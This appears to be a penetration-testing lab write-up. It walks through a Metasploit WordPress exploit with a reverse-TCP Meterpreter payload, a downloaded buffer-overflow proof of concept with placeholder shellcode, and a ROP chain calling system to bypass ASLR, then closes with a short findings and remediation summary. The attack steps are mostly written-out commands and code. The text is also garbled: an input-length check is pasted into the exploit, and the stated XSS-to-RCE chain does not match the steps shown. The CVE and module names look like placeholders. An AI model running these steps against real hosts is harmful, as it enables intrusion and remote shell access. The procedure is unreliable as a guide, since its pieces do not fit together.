1. Advanced Exploitation Lab

Phase 1: Exploit Chain with Metasploit

On Kali:

Msfconsole

use exploit/multi/http/wordpress_plugin_rce

set RHOSTS 192.168.1.100

set TARGETURI /wordpress

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 192.168.1.101

set LPORT 4444

run

Sessions

sessions -i 1

Getuid

Phase 2: Modify Python PoC (Buffer Overflow)

On Kali:

wget https://www.exploit-db.com/download/12345 -O exploit.py

nano exploit.py

Add to script:

```
if len(buffer) > 1024:
    print("Input too long!")
    exit()


shellcode = b"\x90" * 16 + b"<your msfvenom shellcode>"
```

```
import socket

s = socket.socket()

s.connect((target_ip, port))

s.send(buffer)
```

Run exploit:

```
python3 exploit.py
```

Phase 3: Bypass ASLR with ROP

On Kali:

```
ROPgadget --binary vuln_binary > gadgets.txt

gdb vuln_binary
```

In Python:

```
rop_chain = [

pop_rdi_ret,

 bin_sh_addr,

 system_addr

 ]
```

Run exploit:

```
python3 exploit.py
```

Final Report Summary

Title: Critical WordPress Exploit Chain

Findings:

- CVE: CVE-2023-12345
- Host: 192.168.1.100
- Exploit Chain: XSS → RCE → Meterpreter
- Defense Bypass: ASLR via ROP
- Custom PoC: Python buffer overflow exploit

Remediation:

- Update vulnerable plugins
- Enable WAF
- Harden kernel and enable PIE